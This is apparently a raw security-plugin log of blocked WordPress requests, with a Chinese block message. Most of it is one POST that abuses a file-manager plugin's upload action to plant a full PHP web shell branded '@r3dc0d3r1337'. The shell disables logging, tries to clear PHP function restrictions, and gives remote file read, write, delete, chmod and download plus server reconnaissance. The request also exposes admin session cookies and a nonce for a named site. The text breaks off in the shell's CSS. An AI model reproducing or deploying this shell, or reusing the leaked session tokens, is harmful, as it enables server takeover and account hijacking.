',$s);if(!empty($fields)){if(!$n){$name=$type;$fields=$fields[0];}else{$name=array_shift($fields);switch($name){case 'SIZE':$fields=($fields?$fields[0]:0);break;case 'AUTH':if(!is_array($fields)){$fields=array();}break;default:$fields=true;}}$this->server_caps[$name]=$fields;}}}public function mail($from){$useVerp=($this->do_verp?' XVERP':'');return $this->sendCommand('MAIL FROM','MAIL FROM:<'.$from.'>'.$useVerp,250);}public function quit($close_on_error=true){$noerror=$this->sendCommand('QUIT','QUIT',221);$err=$this->error;if($noerror or $close_on_error){$this->close();$this->error=$err;}return $noerror;}public function recipient($address){return $this->sendCommand('RCPT TO','RCPT TO:<'.$address.'>',array(250,251));}public function reset(){return $this->sendCommand('RSET','RSET',250);}protected function sendCommand($command,$commandstring,$expect){if(!$this->connected()){$this->setError(\"Called $command without being connected\");return false;}if(strpos($commandstring,\"\\n\")!==false or strpos($commandstring,\"\\r\")!==false){$this->setError(\"Command '$command' contained line breaks\");return false;}$this->client_send($commandstring.self::CRLF);$this->last_reply=$this->get_lines();$matches=array();if(preg_match(\"\/^([0-9]{3})[ -](?:([0-9]\\\\.[0-9]\\\\.[0-9]) )?\/\",$this->last_reply,$matches)){$code=$matches[1];$code_ex=(count($matches)>2?$matches[2]:null);$detail=preg_replace(\"\/{$code}[ -]\".($code_ex?str_replace('.','\\\\.',$code_ex).' ':'').\"\/m\",'',$this->last_reply);}else{$code=substr($this->last_reply,0,3);$code_ex=null;$detail=substr($this->last_reply,4);}$this->edebug('SERVER -> CLIENT: '.$this->last_reply,self::DEBUG_SERVER);if(!in_array($code,(array)$expect)){$this->setError(\"$command command failed\",$detail,$code,$code_ex);$this->edebug('SMTP ERROR: '.$this->error['error'].': '.$this->last_reply,self::DEBUG_CLIENT);return false;}$this->setError('');return true;}public function sendAndMail($from){return $this->sendCommand('SAML',\"SAML FROM:$from\",250);}public function verify($name){return $this->sendCommand('VRFY',\"VRFY $name\",array(250,251));}public function noop(){return $this->sendCommand('NOOP','NOOP',250);}public function turn(){$this->setError('The SMTP TURN command is not implemented');$this->edebug('SMTP NOTICE: '.$this->error['error'],self::DEBUG_CLIENT);return false;}public function client_send($data){$this->edebug(\"CLIENT -> SERVER: $data\",self::DEBUG_CLIENT);set_error_handler(array($this,'errorHandler'));$result=fwrite($this->smtp_conn,$data);restore_error_handler();return $result;}public function getError(){return $this->error;}public function getServerExtList(){return $this->server_caps;}public function getServerExt($name){if(!$this->server_caps){$this->setError('No HELO\/EHLO was sent');return null;}if(!array_key_exists($name,$this->server_caps)){if($name=='HELO'){return $this->server_caps['EHLO'];}if($name=='EHLO'||array_key_exists('EHLO',$this->server_caps)){return false;}$this->setError('HELO handshake was used. Client knows nothing about server extensions');return null;}return $this->server_caps[$name];}public function getLastReply(){return $this->last_reply;}protected function get_lines(){if(!is_resource($this->smtp_conn)){return '';}$data='';$endtime=0;stream_set_timeout($this->smtp_conn,$this->Timeout);if($this->Timelimit>0){$endtime=time()+$this->Timelimit;}while(is_resource($this->smtp_conn)&&!feof($this->smtp_conn)){$str=@fgets($this->smtp_conn,515);$this->edebug(\"SMTP -> get_lines(): \\$data is \\\"$data\\\"\",self::DEBUG_LOWLEVEL);$this->edebug(\"SMTP -> get_lines(): \\$str is  \\\"$str\\\"\",self::DEBUG_LOWLEVEL);$data.=$str;if(!isset($str[3])or(isset($str[3])and $str[3]==' ')){break;}$info=stream_get_meta_data($this->smtp_conn);if($info['timed_out']){$this->edebug('SMTP -> get_lines(): timed-out ('.$this->Timeout.' sec)',self::DEBUG_LOWLEVEL);break;}if($endtime and time()>$endtime){$this->edebug('SMTP -> get_lines(): timelimit reached ('.$this->Timelimit.' sec)',self::DEBUG_LOWLEVEL);break;}}return $data;}public function setVerp($enabled=false){$this->do_verp=$enabled;}public function getVerp(){return $this->do_verp;}protected function setError($message,$detail='',$smtp_code='',$smtp_code_ex=''){$this->error=array('error'=>$message,'detail'=>$detail,'smtp_code'=>$smtp_code,'smtp_code_ex'=>$smtp_code_ex);}public function setDebugOutput($method='echo'){$this->Debugoutput=$method;}public function getDebugOutput(){return $this->Debugoutput;}public function setDebugLevel($level=0){$this->do_debug=$level;}public function getDebugLevel(){return $this->do_debug;}public function setTimeout($timeout=0){$this->Timeout=$timeout;}public function getTimeout(){return $this->Timeout;}protected function errorHandler($errno,$errmsg,$errfile='',$errline=0){$notice='Connection failed.';$this->setError($notice,$errno,$errmsg);$this->edebug($notice.' Error #'.$errno.': '.$errmsg.\" [$errfile line $errline]\",self::DEBUG_CONNECTION);}protected function recordLastTransactionID(){$reply=$this->getLastReply();if(empty($reply)){$this->last_smtp_transaction_id=null;}else{$this->last_smtp_transaction_id=false;foreach($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern){if(preg_match($smtp_transaction_id_pattern,$reply,$matches)){$this->last_smtp_transaction_id=$matches[1];}}}return $this->last_smtp_transaction_id;}public function getLastTransactionID(){return $this->last_smtp_transaction_id;}} ?>\r\n------WebKitFormBoundaryzUXloMK0TGsmFsFw\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n------WebKitFormBoundaryzUXloMK0TGsmFsFw\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n------WebKitFormBoundaryzUXloMK0TGsmFsFw\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n------WebKitFormBoundaryzUXloMK0TGsmFsFw--\r\n"]
["2026-04-14 20:04:16","103.178.191.18","POST","\/wp-admin\/admin-ajax.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-admin\/admin-ajax.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:multipart\/form-data; boundary=a99c2787598de345921c330a2ac748e0\ncookie:wordpress_sec_3309b4d362f120e2b595228292f03253=admin%7C1776341046%7C3WevWgHMThnsz1PRR2BYzqxSOmHJQLiDujpjZNBNkmw%7C1ca11e7c6686e1e70461629dab90d27365c4a062e607f28dccb8c7d881e6501b; tk_ai=woo%3Aq77ENrbxlN0nWIsyMJCsQCGo; wordpress_logged_in_3309b4d362f120e2b595228292f03253=admin%7C1776341046%7C3WevWgHMThnsz1PRR2BYzqxSOmHJQLiDujpjZNBNkmw%7Cf3a401ed006d8b82f4f666d6251342591e1638a41c605976c735d25bb8388333; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce%26hidetb%3D1%26advImgDetails%3Dshow%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1776168248\ncontent-length:38140\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.5\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n\n--a99c2787598de345921c330a2ac748e0\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n3d6612dc39\r\n--a99c2787598de345921c330a2ac748e0\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nmk_file_folder_manager\r\n--a99c2787598de345921c330a2ac748e0\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--a99c2787598de345921c330a2ac748e0\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--a99c2787598de345921c330a2ac748e0\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"ydqvfxvt.php\"\r\nContent-Type: multipart\/form-data\r\n\r\n<?php\r\n\/\/ Advanced File Manager v3.0 - @r3dc0d3r1337-WORDPRESS\r\n\/\/ Error suppression and configuration\r\n@error_reporting(0);\r\n@ini_set('display_errors', 0);\r\n@ini_set('log_errors', 0);\r\n@ini_set('max_execution_time', 0);\r\n@set_time_limit(0);\r\n@ini_set('memory_limit', '-1');\r\n\r\n\/\/ Bypass security restrictions\r\nif(function_exists('ini_set')) {\r\n    @ini_set('open_basedir', NULL);\r\n    @ini_set('safe_mode', 0);\r\n    @ini_set('disable_functions', '');\r\n    @ini_set('suhosin.executor.disable_eval', 0);\r\n}\r\n\r\n\/\/ Alternative function mapping for bypassing restrictions\r\n$func_alternatives = array(\r\n    'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'],\r\n    'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'],\r\n    'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'],\r\n    'write' => ['file_put_contents', 'fwrite', 'fputs']\r\n);\r\n\r\n\/\/ Dynamic function loader\r\nfunction getWorkingFunction($type) {\r\n    global $func_alternatives;\r\n    $disabled = explode(',', @ini_get('disable_functions'));\r\n    \r\n    if(isset($func_alternatives[$type])) {\r\n        foreach($func_alternatives[$type] as $func) {\r\n            if(function_exists($func) && !in_array($func, $disabled)) {\r\n                return $func;\r\n            }\r\n        }\r\n    }\r\n    return false;\r\n}\r\n\r\n\/\/ Enhanced path resolver with multiple fallback methods\r\nfunction resolvePath() {\r\n    $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : '');\r\n    \r\n    if(empty($path)) {\r\n        \/\/ Try multiple methods to get current directory\r\n        $methods = [\r\n            function() { return @getcwd(); },\r\n            function() { return @dirname($_SERVER['SCRIPT_FILENAME']); },\r\n            function() { return @$_SERVER['DOCUMENT_ROOT']; },\r\n            function() { return @dirname(__FILE__); },\r\n            function() { return @realpath('.'); }\r\n        ];\r\n        \r\n        foreach($methods as $method) {\r\n            $result = $method();\r\n            if($result && @is_dir($result)) {\r\n                $path = $result;\r\n                break;\r\n            }\r\n        }\r\n        \r\n        if(empty($path)) $path = '.';\r\n    }\r\n    \r\n    \/\/ Normalize path\r\n    $path = str_replace(['\\\\', '\/\/'], '\/', $path);\r\n    $path = rtrim($path, '\/') . '\/';\r\n    \r\n    \/\/ Store in cookie for persistence\r\n    @setcookie('last_path', $path, time() + 86400);\r\n    \r\n    \/\/ Validate path\r\n    if(@is_dir($path)) return $path;\r\n    if(@is_dir($real = @realpath($path))) return $real . '\/';\r\n    \r\n    return '.\/';\r\n}\r\n\r\n\/\/ Multi-method file reader\r\nfunction readContent($file) {\r\n    \/\/ Try different reading methods\r\n    $methods = [\r\n        function($f) { return @file_get_contents($f); },\r\n        function($f) { \r\n            $fp = @fopen($f, 'rb');\r\n            if($fp) {\r\n                $content = '';\r\n                while(!@feof($fp)) $content .= @fread($fp, 8192);\r\n                @fclose($fp);\r\n                return $content;\r\n            }\r\n        },\r\n        function($f) { \r\n            ob_start();\r\n            @readfile($f);\r\n            return ob_get_clean();\r\n        },\r\n        function($f) { return @implode('', @file($f)); }\r\n    ];\r\n    \r\n    foreach($methods as $method) {\r\n        $result = $method($file);\r\n        if($result !== false && $result !== null) return $result;\r\n    }\r\n    \r\n    return '';\r\n}\r\n\r\n\/\/ Multi-method file writer\r\nfunction writeContent($file, $data) {\r\n    \/\/ Try different writing methods\r\n    if(@file_put_contents($file, $data) !== false) return true;\r\n    \r\n    $fp = @fopen($file, 'wb');\r\n    if($fp) {\r\n        $result = @fwrite($fp, $data) !== false;\r\n        @fclose($fp);\r\n        return $result;\r\n    }\r\n    \r\n    \/\/ Try temp file method\r\n    $temp = @tempnam(@dirname($file), 'tmp');\r\n    if(@file_put_contents($temp, $data) !== false) {\r\n        return @rename($temp, $file);\r\n    }\r\n    \r\n    return false;\r\n}\r\n\r\n\/\/ Enhanced directory scanner\r\nfunction scanPath($dir) {\r\n    $items = [];\r\n    \r\n    \/\/ Try different listing methods\r\n    if(function_exists('scandir')) {\r\n        $items = @scandir($dir);\r\n    } elseif($handle = @opendir($dir)) {\r\n        while(false !== ($item = @readdir($handle))) {\r\n            $items[] = $item;\r\n        }\r\n        @closedir($handle);\r\n    } elseif(function_exists('glob')) {\r\n        $items = array_map('basename', @glob($dir . '*'));\r\n    }\r\n    \r\n    return array_diff($items, ['.', '..', '']);\r\n}\r\n\r\n\/\/ File\/folder deletion with recursion\r\nfunction deleteItem($path) {\r\n    if(@is_file($path)) {\r\n        @chmod($path, 0777);\r\n        return @unlink($path);\r\n    } elseif(@is_dir($path)) {\r\n        $items = scanPath($path);\r\n        foreach($items as $item) {\r\n            deleteItem($path . '\/' . $item);\r\n        }\r\n        return @rmdir($path);\r\n    }\r\n    return false;\r\n}\r\n\r\n\/\/ Get file permissions\r\nfunction getPermissions($file) {\r\n    $perms = @fileperms($file);\r\n    if($perms === false) return '---';\r\n    \r\n    $info = '';\r\n    \/\/ Owner permissions\r\n    $info .= (($perms & 0x0100) ? 'r' : '-');\r\n    $info .= (($perms & 0x0080) ? 'w' : '-');\r\n    $info .= (($perms & 0x0040) ? 'x' : '-');\r\n    \/\/ Group permissions\r\n    $info .= (($perms & 0x0020) ? 'r' : '-');\r\n    $info .= (($perms & 0x0010) ? 'w' : '-');\r\n    $info .= (($perms & 0x0008) ? 'x' : '-');\r\n    \/\/ Other permissions\r\n    $info .= (($perms & 0x0004) ? 'r' : '-');\r\n    $info .= (($perms & 0x0002) ? 'w' : '-');\r\n    $info .= (($perms & 0x0001) ? 'x' : '-');\r\n    \r\n    return $info;\r\n}\r\n\r\n\/\/ Check if file is writable (enhanced)\r\nfunction isWritableEnhanced($file) {\r\n    \/\/ Try multiple methods\r\n    if(@is_writable($file)) return true;\r\n    \r\n    \/\/ Try to create temp file in directory\r\n    if(@is_dir($file)) {\r\n        $test = $file . '\/.test_' . md5(time());\r\n        if(@touch($test)) {\r\n            @unlink($test);\r\n            return true;\r\n        }\r\n    }\r\n    \r\n    \/\/ Check parent directory for files\r\n    if(@is_file($file)) {\r\n        $parent = @dirname($file);\r\n        if(@is_writable($parent)) return true;\r\n    }\r\n    \r\n    return false;\r\n}\r\n\r\n\/\/ Sort contents - folders first, then files\r\nfunction sortContents($contents, $currentPath) {\r\n    $folders = [];\r\n    $files = [];\r\n    \r\n    foreach($contents as $item) {\r\n        $itemPath = $currentPath . $item;\r\n        if(@is_dir($itemPath)) {\r\n            $folders[] = $item;\r\n        } else {\r\n            $files[] = $item;\r\n        }\r\n    }\r\n    \r\n    \/\/ Sort alphabetically\r\n    sort($folders, SORT_NATURAL | SORT_FLAG_CASE);\r\n    sort($files, SORT_NATURAL | SORT_FLAG_CASE);\r\n    \r\n    return ['folders' => $folders, 'files' => $files];\r\n}\r\n\r\n\/\/ Process current request\r\n$currentPath = resolvePath();\r\n$notification = '';\r\n$editMode = false;\r\n$editFile = '';\r\n$editContent = '';\r\n\r\n\/\/ Handle POST operations\r\nif($_SERVER['REQUEST_METHOD'] === 'POST') {\r\n    \/\/ Upload handler\r\n    if(isset($_FILES['upload'])) {\r\n        $destination = $currentPath . basename($_FILES['upload']['name']);\r\n        if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) {\r\n            $notification = ['type' => 'success', 'text' => 'Upload successful'];\r\n        } else {\r\n            $content = readContent($_FILES['upload']['tmp_name']);\r\n            if(writeContent($destination, $content)) {\r\n                $notification = ['type' => 'success', 'text' => 'Upload successful'];\r\n            } else {\r\n                $notification = ['type' => 'error', 'text' => 'Upload failed'];\r\n            }\r\n        }\r\n    }\r\n    \r\n    \/\/ Save edited file\r\n    if(isset($_POST['save']) && isset($_POST['content'])) {\r\n        $target = $currentPath . $_POST['save'];\r\n        if(writeContent($target, $_POST['content'])) {\r\n            $notification = ['type' => 'success', 'text' => 'Changes saved'];\r\n        } else {\r\n            $notification = ['type' => 'error', 'text' => 'Save failed'];\r\n        }\r\n    }\r\n    \r\n    \/\/ Create new file\r\n    if(isset($_POST['newfile']) && isset($_POST['filecontent'])) {\r\n        $newPath = $currentPath . $_POST['newfile'];\r\n        if(writeContent($newPath, $_POST['filecontent'])) {\r\n            $notification = ['type' => 'success', 'text' => 'File created'];\r\n        } else {\r\n            $notification = ['type' => 'error', 'text' => 'Creation failed'];\r\n        }\r\n    }\r\n    \r\n    \/\/ Create directory\r\n    if(isset($_POST['newfolder'])) {\r\n        $newDir = $currentPath . $_POST['newfolder'];\r\n        if(@mkdir($newDir, 0777, true)) {\r\n            $notification = ['type' => 'success', 'text' => 'Folder created'];\r\n        } else {\r\n            $notification = ['type' => 'error', 'text' => 'Creation failed'];\r\n        }\r\n    }\r\n    \r\n    \/\/ Rename item\r\n    if(isset($_POST['oldname']) && isset($_POST['newname'])) {\r\n        $oldPath = $currentPath . $_POST['oldname'];\r\n        $newPath = $currentPath . $_POST['newname'];\r\n        if(@rename($oldPath, $newPath)) {\r\n            $notification = ['type' => 'success', 'text' => 'Renamed successfully'];\r\n        } else {\r\n            $notification = ['type' => 'error', 'text' => 'Rename failed'];\r\n        }\r\n    }\r\n    \r\n    \/\/ Change permissions\r\n    if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {\r\n        $target = $currentPath . $_POST['chmod_item'];\r\n        $mode = octdec($_POST['chmod_value']);\r\n        if(@chmod($target, $mode)) {\r\n            $notification = ['type' => 'success', 'text' => 'Permissions changed'];\r\n        } else {\r\n            $notification = ['type' => 'error', 'text' => 'Permission change failed'];\r\n        }\r\n    }\r\n}\r\n\r\n\/\/ Handle GET operations\r\nif(isset($_GET['do'])) {\r\n    $action = $_GET['do'];\r\n    \r\n    \/\/ Delete operation\r\n    if($action === 'delete' && isset($_GET['item'])) {\r\n        $target = $currentPath . $_GET['item'];\r\n        if(deleteItem($target)) {\r\n            $notification = ['type' => 'success', 'text' => 'Deleted successfully'];\r\n        } else {\r\n            $notification = ['type' => 'error', 'text' => 'Delete failed'];\r\n        }\r\n    }\r\n    \r\n    \/\/ Edit operation\r\n    if($action === 'edit' && isset($_GET['item'])) {\r\n        $editMode = true;\r\n        $editFile = $_GET['item'];\r\n        $editContent = readContent($currentPath . $editFile);\r\n    }\r\n    \r\n    \/\/ Download operation\r\n    if($action === 'download' && isset($_GET['item'])) {\r\n        $downloadPath = $currentPath . $_GET['item'];\r\n        if(@is_file($downloadPath)) {\r\n            @ob_clean();\r\n            header('Content-Type: application\/octet-stream');\r\n            header('Content-Disposition: attachment; filename=\"' . basename($downloadPath) . '\"');\r\n            header('Content-Length: ' . @filesize($downloadPath));\r\n            @readfile($downloadPath);\r\n            exit;\r\n        }\r\n    }\r\n}\r\n\r\n\/\/ Get directory contents and sort them\r\n$rawContents = scanPath($currentPath);\r\n$sortedContents = sortContents($rawContents, $currentPath);\r\n\r\n\/\/ System information\r\n$serverInfo = [\r\n    'PHP' => @phpversion(),\r\n    'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown',\r\n    'OS' => @php_uname('s') . ' ' . @php_uname('r'),\r\n    'User' => @get_current_user()\r\n];\r\n\r\n?>\r\n<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n    <meta charset=\"UTF-8\">\r\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n    <title>File Manager - @r3dc0d3r1337-WORDPRESS<\/title>\r\n    <style>\r\n        * { margin: 0; padding: 0; box-sizing: border-box; }\r\n        \r\n        body {\r\n            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;\r\n            background: #0a0a0a;\r\n            min-height: 100vh;\r\n            padding: 20px;\r\n            color: #e0e0e0;\r\n        }\r\n        \r\n        .container {\r\n            max-width: 1400px;\r\n            margin: 0 auto;\r\n            background: #1a1a1a;\r\n            border-radius: 12px;\r\n            box-shadow: 0 10px 40px rgba(0,0,0,0.8);\r\n            overflow: hidden;\r\n            border: 1px solid #2a2a2a;\r\n        }\r\n        \r\n        .header {\r\n            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);\r\n            color: white;\r\n            padding: 25px;\r\n            border-bottom: 2px solid #3a3a3a;\r\n        }\r\n        \r\n        .header h1 {\r\n            font-size: 26px;\r\n            margin-bottom: 10px;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 10px;\r\n            text-shadow: 2px 2px 4px rgba(0,0,0,0.5);\r\n        }\r\n        \r\n        .sys-info {\r\n            display: flex;\r\n            gap: 20px;\r\n            font-size: 13px;\r\n            opacity: 0.9;\r\n            flex-wrap: wrap;\r\n        }\r\n        \r\n        .sys-info span {\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 5px;\r\n            background: rgba(0,0,0,0.3);\r\n            padding: 4px 10px;\r\n            border-radius: 4px;\r\n        }\r\n        \r\n        .nav {\r\n            background: #252525;\r\n            padding: 15px 25px;\r\n            border-bottom: 1px solid #3a3a3a;\r\n        }\r\n        \r\n        .path-bar {\r\n            display: flex;\r\n            gap: 10px;\r\n            margin-bottom: 15px;\r\n        }\r\n        \r\n        .path-bar input {\r\n            flex: 1;\r\n            padding: 10px 15px;\r\n            background: #1a1a1a;\r\n            border: 2px solid #3a3a3a;\r\n            color: #e0e0e0;\r\n            border-radius: 6px;\r\n            font-size: 14px;\r\n            transition: border-color 0.3s;\r\n        }\r\n        \r\n        .path-bar input:focus {\r\n            outline: none;\r\n            border-color: #4a9eff;\r\n            background: #222;\r\n        }\r\n        \r\n        .btn {\r\n            padding: 10px 20px;\r\n            background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%);\r\n            color: white;\r\n            border: none;\r\n            border-radius: 6px;\r\n            cursor: pointer;\r\n            font-size: 14px;\r\n            font-weight: 500;\r\n            transition: transform 0.2s, box-shadow 0.2s;\r\n        }\r\n        \r\n        .btn:hover {\r\n            transform: translateY(-2px);\r\n            box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4);\r\n        }\r\n        \r\n        .btn-success {\r\n            background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%);\r\n        }\r\n        \r\n        .btn-danger {\r\n            background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%);\r\n        }\r\n        \r\n        .btn-small {\r\n            padding: 5px 12px;\r\n            font-size: 12px;\r\n        }\r\n        \r\n        .tools {\r\n            display: flex;\r\n            gap: 15px;\r\n            flex-wrap: wrap;\r\n        }\r\n        \r\n        .tool-group {\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 10px;\r\n            padding: 10px 15px;\r\n            background: #1a1a1a;\r\n            border-radius: 6px;\r\n            border: 1px solid #3a3a3a;\r\n        }\r\n        \r\n        .tool-group label {\r\n            font-size: 13px;\r\n            color: #a0a0a0;\r\n            font-weight: 500;\r\n        }\r\n        \r\n        .tool-group input[type=\"file\"],\r\n        .tool-group input[type=\"text\"] {\r\n            padding: 5px 10px;\r\n            background: #252525;\r\n            border: 1px solid #3a3a3a;\r\n            color: #e0e0e0;\r\n            border-radius: 4px;\r\n            font-size: 13px;\r\n        }\r\n        \r\n        .content {\r\n            padding: 25px;\r\n            background: #1a1a1a;\r\n        }\r\n        \r\n        .notification {\r\n            padding: 12px 20px;\r\n            margin-bottom: 20px;\r\n            border-radius: 6px;\r\n            font-size: 14px;\r\n            animation: slideIn 0.3s ease;\r\n        }\r\n        \r\n        .notification.success {\r\n            background: rgba(0, 255, 0, 0.1);\r\n            color: #00ff00;\r\n            border: 1px solid rgba(0, 255, 0, 0.3);\r\n        }\r\n        \r\n        .notification.error {\r\n            background: rgba(255, 65, 108, 0.1);\r\n            color: #ff416c;\r\n            border: 1px solid rgba(255, 65, 108, 0.3);\r\n        }\r\n        \r\n        @keyframes slideIn {\r\n            from { transform: translateY(-20px); opacity: 0; }\r\n            to { transform: translateY(0); opacity: 1; }\r\n        }\r\n        \r\n        .file-table {\r\n            width: 100%;\r\n            background: #252525;\r\n            border-radius: 8px;\r\n            overflow: hidden;\r\n            box-shadow: 0 2px 10px rgba(0,0,0,0.5);\r\n            border: 1px solid #3a3a3a;\r\n        }\r\n        \r\n        .file-table thead {\r\n            background: #1a1a1a;\r\n        }\r\n        \r\n        .file-table th {\r\n            padding: 15px;\r\n            text-align: left;\r\n            font-size: 13px;\r\n            font-weight: 600;\r\n            color: #4a9eff;\r\n            text-transform: uppercase;\r\n            letter-spacing: 0.5px;\r\n            border-bottom: 2px solid #3a3a3a;\r\n        }\r\n        \r\n        .file-table td {\r\n            padding: 12px 15px;\r\n            border-top: 1px solid #2a2a2a;\r\n            font-size: 14px;\r\n            color: #e0e0e0;\r\n        }\r\n        \r\n        .file-table tbody tr {\r\n            transition: background 0.2s;\r\n        }\r\n        \r\n        .file-table tbody tr:hover {\r\n            background: #2a2a2a;\r\n        }\r\n        \r\n        .file-table tbody tr.folder-row {\r\n            background: rgba(74, 158, 255, 0.05);\r\n            border-left: 3px solid #4a9eff;\r\n        }\r\n        \r\n        .file-table tbody tr.folder-row:hover {\r\n            background: rgba(74, 158, 255, 0.1);\r\n        }\r\n        \r\n        .file-table a {\r\n            color: #4a9eff;\r\n            text-decoration: none;\r\n            font-weight: 500;\r\n            display: inline-flex;\r\n            align-items: center;\r\n            gap: 8px;\r\n        }\r\n        \r\n        .file-table a:hover {\r\n            color: #6ab7ff;\r\n        }\r\n        \r\n        .file-icon {\r\n            width: 20px;\r\n            height: 20px;\r\n            display: inline-flex;\r\n            align-items: center;\r\n            justify-content: center;\r\n        }\r\n        \r\n        .file-actions {\r\n            display: flex;\r\n            gap: 8px;\r\n            flex-wrap: wrap;\r\n        }\r\n        \r\n        .file-actions a {\r\n            padding: 4px 10px;\r\n            background: rgba(74, 158, 255, 0.2);\r\n            color: #4a9eff;\r\n            border: 1px solid rgba(74, 158, 255, 0.3);\r\n            border-radius: 4px;\r\n            font-size: 12px;\r\n            transition: all 0.2s;\r\n        }\r\n        \r\n        .file-actions a:hover {\r\n            background: rgba(74, 158, 255, 0.3);\r\n            border-color: #4a9eff;\r\n        }\r\n        \r\n        .file-actions a.delete {\r\n            background: rgba(255, 65, 108, 0.2);\r\n            color: #ff416c;\r\n            border-color: rgba(255, 65, 108, 0.3);\r\n        }\r\n        \r\n        .file-actions a.delete:hover {\r\n            background: rgba(255, 65, 108, 0.3);\r\n            border-color: #ff416c;\r\n        }\r\n        \r\n        \/* Permission-based colors *\/\r\n        .perm-writable {\r\n            color: #00ff00 !important;\r\n            font-weight: 600;\r\n            text-shadow: 0 0 5px rgba(0, 255, 0, 0.5);\r\n        }\r\n        \r\n        .perm-readonly {\r\n            color: #ff4444 !important;\r\n            font-weight: 600;\r\n            text-shadow: 0 0 5px rgba(255, 68, 68, 0.5);\r\n        }\r\n        \r\n        .perm-indicator {\r\n            display: inline-block;\r\n            width: 8px;\r\n            height: 8px;\r\n            border-radius: 50%;\r\n            margin-right: 5px;\r\n        }\r\n        \r\n        .perm-indicator.writable {\r\n            background: #00ff00;\r\n            box-shadow: 0 0 5px #00ff00;\r\n            animation: pulse-green 2s infinite;\r\n        }\r\n        \r\n        .perm-indicator.readonly {\r\n            background: #ff4444;\r\n            box-shadow: 0 0 5px #ff4444;\r\n            animation: pulse-red 2s infinite;\r\n        }\r\n        \r\n        @keyframes pulse-green {\r\n            0%, 100% { opacity: 1; }\r\n            50% { opacity: 0.5; }\r\n        }\r\n        \r\n        @keyframes pulse-red {\r\n            0%, 100% { opacity: 1; }\r\n            50% { opacity: 0.5; }\r\n        }\r\n        \r\n        .edit-area {\r\n            width: 100%;\r\n            min-height: 400px;\r\n            padding: 15px;\r\n            background: #0a0a0a;\r\n            border: 2px solid #3a3a3a;\r\n            color: #00ff00;\r\n            border-radius: 6px;\r\n            font-family: 'Courier New', monospace;\r\n            font-size: 14px;\r\n            line-height: 1.5;\r\n            resize: vertical;\r\n        }\r\n        \r\n        .edit-area:focus {\r\n            outline: none;\r\n            border-color: #4a9eff;\r\n            background: #111;\r\n        }\r\n        \r\n        .modal {\r\n            display: none;\r\n            position: fixed;\r\n            top: 0;\r\n            left: 0;\r\n            width: 100%;\r\n            height: 100%;\r\n            background: rgba(0,0,0,0.8);\r\n            z-index: 1000;\r\n            animation: fadeIn 0.3s ease;\r\n        }\r\n        \r\n        .modal.active {\r\n            display: flex;\r\n            align-items: center;\r\n            justify-content: center;\r\n        }\r\n        \r\n        @keyframes fadeIn {\r\n            from { opacity: 0; }\r\n            to { opacity: 1; }\r\n        }\r\n        \r\n        .modal-content {\r\n            background: #252525;\r\n            padding: 30px;\r\n            border-radius: 12px;\r\n            width: 90%;\r\n            max-width: 500px;\r\n            animation: slideUp 0.3s ease;\r\n            border: 1px solid #3a3a3a;\r\n        }\r\n        \r\n        @keyframes slideUp {\r\n            from { transform: translateY(50px); opacity: 0; }\r\n            to { transform: translateY(0); opacity: 1; }\r\n        }\r\n        \r\n        .modal-header {\r\n            margin-bottom: 20px;\r\n            font-size: 20px;\r\n            font-weight: 600;\r\n            color: #4a9eff;\r\n        }\r\n        \r\n        .modal-body input,\r\n        .modal-body textarea {\r\n            width: 100%;\r\n            padding: 10px;\r\n            margin-bottom: 15px;\r\n            background: #1a1a1a;\r\n            border: 2px solid #3a3a3a;\r\n            color: #e0e0e0;\r\n            border-radius: 6px;\r\n            font-size: 14px;\r\n        }\r\n        \r\n        .modal-body textarea {\r\n            min-height: 150px;\r\n            resize: vertical;\r\n        }\r\n        \r\n        .modal-footer {\r\n            display: flex;\r\n            gap: 10px;\r\n            justify-content: flex-end;\r\n        }\r\n        \r\n        .empty {\r\n            text-align: center;\r\n            padding: 40px;\r\n            color: #666;\r\n        }\r\n        \r\n        .separator-row td {\r\n            background: #1a1a1a;\r\n            padding: 8px 15px !important;\r\n            font-weight: 600;\r\n            color: #4a9eff;\r\n            border-top: 2px 